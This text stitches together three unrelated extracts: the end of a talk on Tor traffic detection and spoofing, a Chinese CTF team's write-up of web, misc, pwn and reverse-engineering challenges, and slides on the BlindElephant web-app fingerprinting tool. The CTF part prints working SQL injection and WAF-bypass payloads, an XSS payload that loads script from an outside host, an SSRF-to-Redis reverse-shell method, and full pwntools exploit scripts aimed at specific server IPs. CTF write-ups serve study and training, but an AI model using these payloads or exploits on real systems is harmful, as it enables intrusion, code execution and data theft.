cells https://gitweb.torproject.org/torspec.git/blob _plain/HEAD:/tor-spec.txt endgame • is it possible to write rules that cannot be spoofed by a browser? testing your tools • verify https://impostor.io doesn’t  work • verify detection does work (e.g. boot Tails) • .pcap yourself, and identify alerting flow(s) • look for clues in alert description/details • just ask how you can help • visit https://impostor.io • test against your security tools • support the Tor Project https://www.torproject.org/donate/donate supporting anonymity ain’t easy • "If  your  secure  communications  platform  isn’t   being used by terrorists and pedophiles, you’re  probably  doing  it  wrong.  – [REDACTED]“ http://grugq.github.io/blog/2013/12/01/yard birds-effective-usenet-tradecraft/ summary • Tor traffic is easy to detect • detection is easy to fool • you can help make Tor safer questions? comments? https://impostor.io thanks! https://impostor.io @charlievedaa
pdf
Nu1L-Writeup Web Time, grasp is gold, catch up is running water. 查看源码可以得到管理员邮箱,重置密码时候大小写过滤不严,导致可以拿到 重置密码的连接,然后发现 token 参数是 md5(time()),并且提示 ip 不符合,猜 测 xff,但服务器时间与 token 的时间相差 8h,于是遍历,然后重置密码。 进入后台,存在 XXE 漏洞,blindxxe,然后最后拿到 flag: 简陋的博客 变量覆盖,只过滤 get,没过滤 post,经过测试,发现是参数是拼接到反引号, 于是就很容易了: 山水集团 打开商品列表,看到页面里那个分享里有个能转换 ID 到 base64(某某加密)的接 口,于是就本地起个代理 waf 拦截的比较多, 几个字符串处理函数,union,逗号,空格,/,*,=等 最后试了一下 postion(str1 IN str2)函数 空格就用括号绕过,=用!(<>)绕过 /?id=(1)or(!(position((%27user_name§b§%27)IN(select(group_concat(COLUMN_N AME))from(information_schema.COLUMNS)))%3C%3E1)) burp 按位跑一下 拿到表 users,列名 user_name,user_pass 然后是注入出数据 GET /?id=(1)or(!(position((%27ab@15!74587~caibudao§b§%27)IN(select(user_pass)from (users)))<>1)) HTTP/1.1 以上是 20 位密码 用户名区分大小写,可以爆破一下,暂时没想到怎么不爆破验证。。因为他 waf 拦截的很严 先生成字典 然后跑一下就 ok 然后是登陆 登陆时发现 查看 html 源码 可以用 https://unicode-table.com/cn/#latin-1-supplement Unicode 相似字符集绕过 用户名 Q1t0ngW3ï 密码 ab@15!74587~caibudao 然后 bash 弹 shell~ 然后在 home 目录下找到 flag 中国菜刀 抓包发现一个后门地址: file_get_contents('http://118.89.225.190/shellbox.php?shell='.$_SERVER[HTTP_HO ST].$_SERVER[REQUEST_URI].'_Pwd='.key($_POST));;echo("|<-");die(); 经过测试存在 xss,题目提示说 flag 在源码里,而且过滤有点严,于是用 String.fromCharCode 绕过: http://118.89.225.190/shellbox.php?shell=<iframe src="javascript:eval(String.fromCharCode(118,97,114,32,104,101,97,100,61,32,100,1 11,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121, 84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,59,32,32,32,10,118,97 ,114,32,115,99,114,105,112,116,61,32,100,111,99,117,109,101,110,116,46,99,114,10 1,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,10 ,115,99,114,105,112,116,46,115,114,99,61,32,39,104,116,116,112,58,47,47,120,115, 115,46,110,117,112,116,122,106,46,99,110,47,99,104,111,112,112,101,114,46,106,1 15,39,59,32,32,32,10,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100 ,40,115,99,114,105,112,116,41,59))"></iframe>/a.php_Pwd=x js 就是原生 js 读源码的: /?content=<head> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <script src="./jquery.min.js"></script> <!-- 这里是不会有漏洞的 --> </head> <body> <!-- SYC{1_w0Nt_D0_1T_4gAin} --> 拿到 flag 最后。 短域名 1. 在 vps 上用 nc 监听,发现当生成短域名的时候,会发送一次 get 请求,而 且强行断开 造成 http 包 不完整,所以判断是 curl 发起请求,确认是一个 ssrf 漏洞,当地址存在 会有时间延迟 2. 在 phpinfo.php 中发现 curl 扩展的信息,里面看到支持 dict 和一些其他的 协议,发现了 redis 的扩展,发现 redis 的地址 3. dict 协议会将 get 参数单独在一行 发送,刚好符合 redis 未授权漏洞的利用 4. ssrf 的绕过 是利用 dns rebinding 环境搭建百度即可 5. 最后成功利用 ssrf 漏洞攻击 redis,写入定时任务,反弹 shell ,目录下就有 flag Misc 签到题 微博 小小的 pdf foremost 就行,flag 在第三张图片里 藏着东西的流量包 先把 http 流量里的东西拿出来,发现 key.zip,解压得到一个字符串 发现是 hacker.com 发送,然后去 dns 里,类似于 dns 远控,存在多个 hacker.com 的子域名,然后将所有的子域名拼接起来,unhex 后发现 base64, 最后发现是 aes,然后根据 key.zip 的 key 解密拿到最后 flag Mis.Chami 根据文件内第一行 Hamicyc 猜到是哈密顿回路,根据提示每个数字是两个字符 即两个顶点来建图,计算出哈密顿回路即为 flag。(这里题目有一点小问题,8 这个顶点度为 1 所以这个图不存在哈密顿回路,这里直接将 8 这个点忽略) Terraria Terraria 版 I Wanna。服务器设置有毒,一身初始装备去打肉山后的各种穿墙 怪。 似乎前面的人把路都搭的差不多了,稍稍向左再搭一点就可以看到 flag。 我萌吗 Nobug.js 中提示隐写所用源码地址为: code address:./6YC46L2p/55qE/5Luj56CB55uu5b2V/asdasdasdasd.min.js 可以直接分析写入的部分: var v = s.get(p, l); 100 * Math.random() > 50 && !o.includes(p * h.width + l) ? (s.set(p, l, { r: 255 - v.r, g: 255 - v.g, b: 255 - v.b, a: v.a }), d.set(l, p, { r: v.r, g: b, b: e.charCodeAt(b) })) : (s.set(p, l, { r: v.r, g: b, b: 255 - v.b, a: v.a }), d.set(p, l, { r: v.r, g: e.charCodeAt(b), b: v.b, a: v.a })) 根据两张图 R G B 的变换关系即可推出对应隐写方式 解题脚本: from PIL import Image im1 = Image.open("1.png") im2 = Image.open("dest.png") key = Image.open("key.png") w,h = im1.size flag = ['_'] * 100 for i in range(1280): for j in range(1280): if im1.getpixel((i,j))[0] == 255 - im2.getpixel((i,j))[0] and im1.getpixel((i,j))[1] == 255 - im2.getpixel((i,j))[1] and im1.getpixel((i,j))[2] == 255 - im2.getpixel((i,j))[2]: (x,y) = (key.getpixel((j,i))[1:]) flag[x] = chr(y) elif im1.getpixel((i,j))[2] == 255 - im2.getpixel((i,j))[2] and im2.getpixel((i,j))[1] < 50: flag[im2.getpixel((i,j))[1]] = chr(key.getpixel((i,j))[1]) print(''.join(flag)) Pwn Pwn50 flag 在 flag.txt 中,应该是在服务端接收数据的地方过滤了关键字,所以用 \x66\x6c\x61\x67\x2e\x74\x78\x74 来代替 flag.txt。 然后过滤了文件读取的 f.read,所以直接用 for 循环读取文件内容 Tiny FileShare 在 leave message 时有一个 fmt 漏洞,泄露 elf 的地址和 canary,之后利用 login 时的栈溢出,返回到获取 flag 的函数 EXP: from pwn import * VERBOSE = 1 if VERBOSE: context.log_level = 'debug' # io = remote('127.0.0.1', 8001) io = remote('54.222.255.223', 50002) elf = ELF('./pwn200_ok') def login(name): io.recvuntil('-->') io.clean() io.sendline('1') io.recvuntil('Name:') io.send(name) def get_file(filename): io.recvuntil('-->') io.clean() io.sendline('2') io.recvuntil('input the filename:') io.send(filename) def leave_message(message): io.recvuntil('-->') io.clean() io.sendline('3') io.recvuntil('Input your msg:') io.send(message) leave_message('%26$016lx%30$016lx') io.recvuntil('Ok,I get your msg:') canary = int(io.recvn(16), 16) leak_elf_addr = int(io.recvn(16), 16) base_elf_addr = leak_elf_addr - (0x555555555612 - 0x555555554000) log.info('canary:%#x' % canary) log.info('leak_elf_addr:%#x' % leak_elf_addr) log.info('base_elf_addr:%#x' % base_elf_addr) open_flag = base_elf_addr + 0xf09 payload = 'A' * 0x28 + p64(canary) + 'A' * 0x18 + p64(open_flag) + '\n' login(payload) io.recv() House of Lemon 在 submit 时没有初始化局部变量,可以泄露出 libc 地址,在 remove cart 时可以 向任意地址写一个 bss 段上的地址,这里覆盖 global_max_fast 的值,之后所有 的 bin 都会当成 fastbin 来处理,而计算 fastbin_index 后就可能会在之后访问 fastbinsY 时造成越界,这样在 delete advise 时,通过 add 时精心构造的 malloc 的 size 就可以把 advise 的地址 free 到_IO_2_1_stdout_中的_IO_file_jumps,这样 advise 就是一个伪造的_IO_file_jumps,因此 edit advise 时伪造_IO_file_xsputn 函数指针为 one gadget 的地址,之后再 delete advise 就可以 getshell EXP: from pwn import * VERBOSE = 1 DEBUG = 0 LOCAL = 1 if VERBOSE: context.log_level = 'debug' if LOCAL: io = process('./pwn500', env={'LD_PRELOAD': './libc.so'}) if DEBUG: gdb.attach(io) else: io = remote('119.29.87.226', 50005) def submit(phone, address): io.recvuntil('Pls input your choice:\n') io.sendline('4') io.recvuntil('Pls input your phone number first:\n') io.send(phone) io.recvuntil('Ok,Pls input your home address\n') io.send(address) def lemon_add(type): io.recvuntil('Pls input your choice:\n') io.sendline(str(type)) io.recvuntil('Pls Input your choice:\n') io.sendline('2') def lemon_remove(type): io.recvuntil('Pls Input your choice:\n') io.sendline('3') def lemon_leave(type, msg): io.recvuntil('Pls Input your choice:\n') io.sendline('4') io.recvuntil('Get Input:\n') io.send(msg) def lemon_back(type): io.recvuntil('Pls Input your choice:\n') io.sendline('5') def leave_advise(size): io.recvuntil('Pls input your choice:\n') io.sendline('3') io.recvuntil('4.return\n') io.sendline('1') io.recvuntil('Input size(200~8000):\n') io.sendline(str(size)) def edit_advise(content): io.recvuntil('Pls input your choice:\n') io.sendline('3') io.recvuntil('4.return\n') io.sendline('2') io.recvuntil('Input your advise\n') io.send(content) def del_advise(): io.recvuntil('4.return\n') io.sendline('3') def return_advise(): io.recvuntil('4.return\n') io.sendline('4') submit('A' * 0xf, 'A' * 36 + 'bird' + '\n') io.recvuntil('bird') leak_libc = u64(io.recvn(6) + '\x00\x00') base_libc = leak_libc - 0x34530 log.info('leak_libc:%#x' % leak_libc) log.info('base_libc:%#x' % base_libc) leave_advise(6064) return_advise() max_fast_addr = base_libc + 0x39D868 lemon_add(1) lemon_leave(1, 'A' * 0x18 + p64(max_fast_addr - 0x10)) lemon_remove(1) lemon_back(1) one_gadget = base_libc + 0x3F5A0 edit_advise('A' * 0x28 + p64(one_gadget) + '\n') del_advise() io.interactive() Re Re100 就解密吧… t = [157, 151, 141, 181, 132, 187, 251, 186, 145, 140, 144, 189, 253, 145, 128, 254, 188, 145, 141, 254, 170, 171, 179] s = '' for v in t: for i in xrange(0x100): if (~(~(i | 0xCE) | ~(~i | 0x31)))&0xff == v: s += chr(i) print s Re150 用 idapython 还原代码 def xor(n): n ^= 0x42 return (n<<5|n>>3)&0xff for i in xrange(0x432): addr = 0x08048320+i PatchByte(addr,xor(Byte(addr))) 去掉花指令,就能 f5 了,根据逻辑解密就行 t = [115, 141, 242, 76, 199, 212, 123, 247, 24, 50, 113, 13, 207, 220, 103, 79, 127, 11, 109] s = '' for i,v in enumerate(t): v ^= i^0x20 s += chr(((v >> (8 - i % 8)) | (v << i % 8))&0xff) print s Reson 这题的逻辑是根据我们的输入生成一个大数,然后求模验证,验证通过就可以 由这个大数生成 flag 用剩余定理求出大数 0x4bc82d867feb90,用工具算出 flag 生成过程中求幂运算 的结果 0x69ADD5A34537F9C5,修改寄存器就得到 flag 了 RestoreMe 先是 pyc 的还原,分析加密程序,发现里面没什么特别的加密,像 opcode 的替 换等,所以生成个跟题目 pyc 文件大小差不多的 pyc 给加密程序加密,然后比 较分析,将 Game.pyc 还原出来 反编译后看 py 源码,发现是个游戏,然后就写脚本爆破了,但是 Game.exe 还 有别的信息 我们的输入会对程序里的一个字符串 FCSRKMOFY 进行修改,该串的 md5 为 77be496aa517273f850f78f7425c76bb,由于修改过程中是用串里的字符进行替 换,所以用 hashcat 跑出替换后的结果 FROMOFSYC,根据 py 和 exe 的综合分 析,我们的输入长度为 48 ,并且前 40 个字符不仅满足 py 的条件,还满足将字符串替换成 FROMOFSCY 的条件,后面的 8 个字符是 08091819,剩下的爆破即可
pdf
BlindElephant: Web Application Fingerprinting With Static Files Patrick Thomas 7/28/10 Outline • Web Apps & Security • Intro to Fingerprinting • Static File Approach • Observations From A Net Survey • Q & A 2 Well-Known Web Applications • Every conceivable use… • Content Management/Blogging • Forums • Email • E-Commerce • DB Admin • Backup and File Storage Admin • Device/System/VM Admin • Version Control UI • Intranet/Collaboration 3 Well-Known Web Applications Theory of Fingerprinting • Find some characteristic(s) that is… • …always the same for a particular individual (implementation/version/person) • …always different from other members of the population • If there‟s one piece of info that fulfills both, great • If not, take several that pin it down • Tons of interesting reading in information theory and entropy • OS & HTTP Server Fingerprinting: Lots of protocol-aware checks that rely on subtle differences in implementation 5 Existing Fingerprinting Approaches • Labor intensive to add signatures • Manually locate version in files or build regexes for headers • Decent hardening pretty much nukes them • Built-in options to remove identifiers (eg, meta generator) • Remove standard files • Easy to lie to Fingerprinters like this: • Sedusa (in nmap), Wappalyzer, BackendInfo, Plecost, etc, etc… 6 More Advanced Tools • Typically improve in one area • Resistant to hardening • Less labor intensive • Have their own downsides • Less specific results • Some request massive amounts of data (> 20 megs!) • Some are less generic (Plecost = Wordpress Only) Fingerprinters like this: • Sucuri, WAFP, WhatWeb, BackEndInfo (sortof), 7 Goals for a (WebApp) Fingerprinter • Very Generic • Fast • Low resource usage • Accurate (Low FP/FN) • Resistant to hardening/banner removal • Super easy to support new versions/apps 8 The Blind Men and the Elephant 9 Collect and Eliminate Possibilities 10 Tree or Elephant Spear or Elephant Vine or Elephant Fan or Elephant Intersect the Possibilities and… 11 Web App Versions Hashes Table Paths Table Versions Table What versions will a path give me info on? If I want to confirm or rule out a version/versions, what‟s a path that will do that? (eg, Joomla-*.zip) 1.0.2 1.0.3 1.0.4 2.0.1 3.1.6 3.2.10 What files appear unchanged in multiple versions? Preparing the Data 12 wordpress-0.71-gold/*/*.* wordpress-0.72-beta-1/*/*.* wordpress-0.72-RC1/*/*.* wordpress-1.0.1-miles/*/*.* wordpress-1.0.1-RC1/*/*.* wordpress-1.0.2/*/*.* wordpress-1.0.2-blakey/*/*.* wordpress-1.0-platinum/*/*.* wordpress-1.0-RC1/*/*.* wordpress-1.2.1/*/*.* wordpress-1.2.2/*/*.* wordpress-1.2-beta/*/*.* wordpress-1.2-delta/*/*.* wordpress-1.2-mingus/*/*.* wordpress-1.2-RC1/*/*.* wordpress-1.2-RC2/*/*.* … wordpress-2.9/*/*.* wordpress-2.9.1/*/*.* wordpress-2.9.1-beta1/*/*.* wordpress-2.9.1-beta1-IIS/*/*.* wordpress-2.9.1-IIS/*/*.* wordpress-2.9.1-RC1/*/*.* wordpress-2.9.1-RC1-IIS/*/*.* wordpress-2.9-beta-1/*/*.* wordpress-2.9-beta-1-IIS/*/*.* wordpress-2.9-beta-2/*/*.* wordpress-2.9-beta-2-IIS/*/*.* wordpress-2.9-IIS/*/*.* wordpress-2.9-RC1/*/*.* wordpress-2.9-RC1-IIS/*/*.* wordpress-1.5-strayhorn/*/*.* wordpress-2.0.7-RC2/*/*.* wordpress-2.2.1/*/*.* wordpress-2.5.1/*/*.* … f8fc944a02d28f61dc4cf719aa1194ce ('2.0.9', '/install/schemas/postgres_schema.sql', 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.7', '/install/schemas/postgres_schema.sql', 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.13', '/install/schemas/postgres_schema.sql', 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.5', '/install/schemas/postgres_schema.sql', 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.14', '/install/schemas/postgres_schema.sql', 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.12', '/install/schemas/postgres_schema.sql', 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.6', '/install/schemas/postgres_schema.sql', 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.11', '/install/schemas/postgres_schema.sql', 'f8fc944a02d28f61dc4cf719aa1194ce') 7be360f53320de4bc9335738e8d02b20 ('3.0.6-RC1', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.6', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.2', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.4', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.6-RC3', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.4-RC1', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.3', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.5', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.5-RC1', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.6-RC2', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') ('3.0.6-RC4', '/styles/subsilver2/template/index.htm', '7be360f53320de4bc9335738e8d02b20') bdb4046baa012e90a01602199e60054f ('3.0.6-RC1', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.6', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.2', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.4', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.6-RC3', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.4-RC1', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.3', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.5', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('2.2b', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.5-RC1', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.6-RC2', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') ('3.0.6-RC4', '/adm/images/cellpic3.gif', 'bdb4046baa012e90a01602199e60054f') Directory Tree HashesTable f8fc944a02d28f61dc4cf719aa1194ce ('2.0.9', ..., 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.7', ..., 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.13', ..., 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.5', ..., 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.14', ..., 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.12', ..., 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.6', ..., 'f8fc944a02d28f61dc4cf719aa1194ce') ('2.0.11', ..., 'f8fc944a02d28f61dc4cf719aa1194ce') 7be360f53320de4bc9335738e8d02b20 ('3.0.6-RC1', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.6', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.2', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.4', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.6-RC3', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.4-RC1', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.3', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.5', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.5-RC1', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.6-RC2', ..., '7be360f53320de4bc9335738e8d02b20') ('3.0.6-RC4', ..., '7be360f53320de4bc9335738e8d02b20') bdb4046baa012e90a01602199e60054f ('3.0.6-RC1', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.6', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.2', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.4', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.6-RC3', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.4-RC1', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.3', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.5', ..., 'bdb4046baa012e90a01602199e60054f') ('2.2b', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.5-RC1', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.6-RC2', ..., 'bdb4046baa012e90a01602199e60054f') ('3.0.6-RC4', ..., 'bdb4046baa012e90a01602199e60054f') /templates/subSilver/admin/index_frameset.tpl 74057e1687fa4edfd1ba0207e073e100 ['2.0'] fc9388927f44fd90698936837070b525 ['2.0.1'] 7ec0529fd736950a3dd0c7b66f7b5f2c ['2.0.2', … 264974c35d7a66d32ddfa118b1bc359d ['2.0.18', … /install/schemas/schema_data.sql b1fdcba066491e22d7b2b84ace8c94e0 ['3.0.6-RC3'] 10d66666d443fb0eb5970c4c5cadc844 ['3.0.6'] 1129aeae10003398b500d11cc9b26acd ['3.0.5-RC1'] 8db031ced0c0377ded71ebed82e14408 ['3.0.6-RC1'] 560143ba7cbcaa48b58d17a28970be04 ['3.0.2'] ad0ca453932b8cce946345a998403401 ['3.0.4'] 59065f5fed0d801ab04a1eef7ca4fad4 ['3.0.4-RC1'] 89e85ef960aef6f461cbe71907890057 ['2.2b'] e060676be3191f2a7bd95df62711e28d ['3.0.6-RC2'] ce2b47359e50e2a83fea2f3bbec9a8b1 ['3.0.5'] efb06c117f2681bedcc704ea10223394 ['3.0.3'] 045634305e36af4fea75f3a95c415f49 ['3.0.6-RC4'] 3.0.3,3.0.4,3.0.4-RC1 ('/styles/prosilver/template/ucp_pm_viewmessage.html', '314fe5725db… ('/styles/subsilver2/template/viewforum_body.html', 'f4002089f99384bf4… ('/adm/style/acp_styles.html', '39e7ad0dbeda3f8d7731e844eba62622') ('/styles/subsilver2/template/mcp_warn_user.html', '6fce7b9564afb5aa6d.. ('/styles/prosilver/template/mcp_warn_user.html', 'c56f962be418102b8… ('/styles/subsilver2/template/index_body.html', '64c9a99b3b53f4… ('/styles/prosilver/theme/content.css', '5f264fed8971c7d00e7092f48f379… …. 2.0.20,2.0.21 ('/language/lang_english/email/user_activate_passwd.tpl', '4375947c68… ('/templates/subSilver/confirm_body.tpl', „1ead54515b2b537… ('/templates/subSilver/admin/board_config_body.tpl', 'f8519d018f9850d… ('/language/lang_english/email/group_request.tpl', '6192f8bbb9e4596ad… ('/install/schemas/mssql_schema.sql', '045c0fcfaa4f89d771b07b66a74…. ('/contrib/README.html', '61f46292c72f73935bcc2b74403d8b74„) VersionsTable PathsTable HashesTable Hash Version  File Version  File Version  File Hash Version  File Version  File Version  File File Hash  Version Hash  Version Hash  Version File Hash  Version Hash  Version Hash  Version Version, Version, Version File  Hash File  Hash File  Hash Version File  Hash File  Hash How Many Files? Wordpress ~80k files in 151 versions phpBB ~17k files in 32 versions MediaWiki ~56k files in 59 versions Joomla ~83k files in 24 versions MovableType ~140k files in 57 versions Drupal ~30k files in 102 versions … and many more Wordpress Plugins ~17k files in 358 versions Drupal Plugins ~76K files in 983 versions 15 '/htaccess.txt', 14 hashes/31 versions, fitness=15.0 '/language/en-GB/en-GB.ini', 14 hashes/20 versions, fitness=14.64 '/language/en-GB/en-GB.com_content.ini', 13 hashes/20 versions, fitness=13.64 '/configuration.php-dist', 10 hashes/28 versions, fitness=10.90 '/includes/js/joomla.javascript.js', 8 hashes/28 versions, fitness=8.90 '/media/system/js/validate.js', 8 hashes/20 versions, fitness=8.64 '/media/system/js/caption.js', 8 hashes/20 versions, fitness=8.64 '/language/en-GB/en-GB.mod_feed.ini', 8 hashes/20 versions, fitness=8.64 '/media/system/js/openid.js', 8 hashes/20 versions, fitness=8.64 '/language/en-GB/en-GB.com_contact.ini', 8 hashes/20 versions, fitness=8.64 '/language/en-GB/en-GB.mod_breadcrumbs.ini', 7 hashes/20 versions, fitness=7.64 '/media/system/js/combobox.js', 7 hashes/20 versions, fitness=7.64 '/language/en-GB/en-GB.mod_search.ini', 7 hashes/20 versions, fitness=7.64 '/templates/rhuk_milkyway/css/template.css', 7 hashes/20 versions, fitness=7.64 '/media/system/js/switcher.js', 7 hashes/20 versions, fitness=7.64 Best Candidates to Identify the Version Paths Table Fingerprinting 16 '/htaccess.txt' '/language/en-GB/en-GB.ini' '/language/en-GB/en-GB.com_content.ini' '/configuration.php-dist', '/includes/js/joomla.javascript.js' '/media/system/js/validate.js' '/media/system/js/caption.js' '/language/en-GB/en-GB.mod_feed.ini' '/media/system/js/openid.js' '/language/en-GB/en-GB.com_contact.ini' '/language/en-GB/en- GB.mod_breadcrumbs.ini' '/media/system/js/combobox.js' '/language/en-GB/en-GB.mod_search.ini' '/templates/rhuk_milkyw/css/template.css' '/media/system/js/switcher.js' Best Candidates 3.0.4-RC4, 3.0.4 200 OK 200 OK 200 OK 404 403 2.0.1, 2.0.2… 3.0.4-RC4, 3.0.4 2.5.1, 2.3.16… 3.0.4-RC4, 3.0.4 3.0.4-RC4, 3.0.4, 3.5 3.0.4-RC4, 3.0.4, 3.5.1 Fingerprinting 17 Versions Table 3.0.0, 3.0.1 3.0.2, 3.0.3, 3.0.4-RC1, 3.0.4-RC2 ? ? ? (confirm or rule out versions) Darn, Not Enough Data 3.0.2? 3.0.0 or 3.0.1? 3.0.3? 3.0.4? 3.0.5 or 3.0.6? Winnowing 18 {'path': „/includes/js/dtree/img/frontpage.gif“‟, 'versions': 29} {'path': '/images/banners/osmbanner2.png', 'versions': 33} {'path': '/media/system/js/mootools.js', 'versions': 18} {'path': „/includes/js/wz_tooltip.js ', 'versions': 29} Indicator Files Versions Table App Discovery / App Guessing Want a small set of files with at least one present in every release 19 {'path': „/includes/js/dtree/img/frontpage.gif“‟, 'versions': 29} {'path': '/images/banners/osmbanner2.png', 'versions': 33} {'path': '/media/system/js/mootools.js', 'versions': 18} {'path': „/includes/js/wz_tooltip.js ', 'versions': 29} Indicator Files It’s some version of Joomla 404 200 OK App Discovery / App Guessing 20 Supporting a New App • Gather every version you can find, dump them in a directory • [Optional] Supply a regex to exclude directories/files from fingerprinting • (eg .php files, protected admin directory, .htaccess, etc) • Use BlindElephant to build the datafiles • Fingerprint! • …Profit? 21 Does it work? $./BlindElephant.py http://laws.qualys.com movabletype Loaded movabletype with 96 versions, 2229 differentiating paths, and 209 version groups. Starting BlindElephant fingerprint for version of movabletype at http://laws.qualys.com Hit http://laws.qualys.com/mt-static/mt.js Possible versions based on result: 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22- en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en-COM Hit http://laws.qualys.com/mt-static/js/tc/client.js Possible versions based on result: 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22- en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en-COM Hit http://laws.qualys.com/mt-static/css/main.css Possible versions based on result: 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22- en-COM, 4.23-en, 4.23-en, 4.23-en-COM Hit http://laws.qualys.com/tools/run-periodic-tasks File produced no match. Error: Error code: 404 (Not Found) 22 Does it work? Hit http://laws.qualys.com/mt-static/js/tc/tagcomplete.js Possible versions based on result: 4.1-en, 4.1-en-CS, 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en- COM Hit http://laws.qualys.com/mt-static/js/edit.js Possible versions based on result: 4.1-en, 4.1-en-CS, 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en- COM Hit http://laws.qualys.com/mt-static/js/tc/mixer/display.js Possible versions based on result: 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22- en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en-COM Hit http://laws.qualys.com/mt-static/js/archetype_editor.js Possible versions based on result: 4.22-en, 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en, 4.23-en- COM, 4.24-en, 4.24-en, 4.24-en-COM 23 Does it work? Hit http://laws.qualys.com/mt-static/js/tc/mixer.js Possible versions based on result: 4.1-en, 4.1-en-CS, 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en- COM Hit http://laws.qualys.com/mt-static/js/tc/tableselect.js Possible versions based on result: 4.1-en, 4.1-en-CS, 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en- COM Hit http://laws.qualys.com/mt-static/js/tc/focus.js Possible versions based on result: 4.1-en, 4.1-en-CS, 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en- COM Hit http://laws.qualys.com/mt-static/js/tc.js Possible versions based on result: 4.1-en, 4.1-en-CS, 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en- COM 24 This is what matters! 2.0.1, 2.0.2… 3.0.4-RC4, 3.0.4 2.5.1, 2.3.16… 3.0.4-RC4, 3.0.4 3.0.4-RC4, 3.0.4, 3.5 3.0.4-RC4, 3.0.4, 3.5.1 Interlude 